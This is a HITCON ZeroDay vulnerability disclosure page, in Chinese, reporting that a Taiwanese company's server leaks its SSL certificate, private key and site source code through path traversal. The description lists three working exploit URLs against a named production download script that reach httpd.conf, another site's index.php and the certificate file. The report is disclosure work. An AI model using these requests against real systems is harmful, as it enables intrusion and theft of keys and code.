G-HG集好居 SSL證書與私鑰洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01241
  •  發信 Vendor: 廣翰實業股份有限公司
  • Title: G-HG集好居 SSL證書與私鑰洩漏
  • Introduction: SSL證書與私鑰洩漏

處理狀態

目前狀態

公開
Last Update : 2024/12/06
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/10/06 02:06:10 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/10/06 18:02:56 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/10/06 18:35:07 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/10/07 11:08:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/10 17:18:11 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/10 17:18:11 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/12/06 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01241
  • 通報者:nhd1261 ({{萌新}})
  • 風險:嚴重
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.g-hg.com.tw/index.php
https://www.cox.com.tw/tw/common_lib/data_download_file2.php?df=

敘述

透過ZD-2024-01240通報的漏洞,下載httpd.conf,發現其中有同一伺服器的其他網站根目錄、SSL證書與私鑰路徑,嘗試下載成功,導致證書與私鑰洩漏,並且也使用相同辦法成功跨網站下載原始碼。
http://www.cox.com.tw/tw/common_lib/data_download_file2.php?df=../../../../../../etc/httpd/conf/httpd.conf
http://www.cox.com.tw/tw/common_lib/data_download_file2.php?df=../../../../../../var/www/html/ghg/index.php
http://www.cox.com.tw/tw/common_lib/data_download_file2.php?df=../../../../../../etc/pki/tls/certs/2024/www_g-hg_com_tw.crt
圖片
圖片
所獲得檔案測試結束後皆以刪除。

修補建議

將網站轉移到一個獨立的伺服器。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;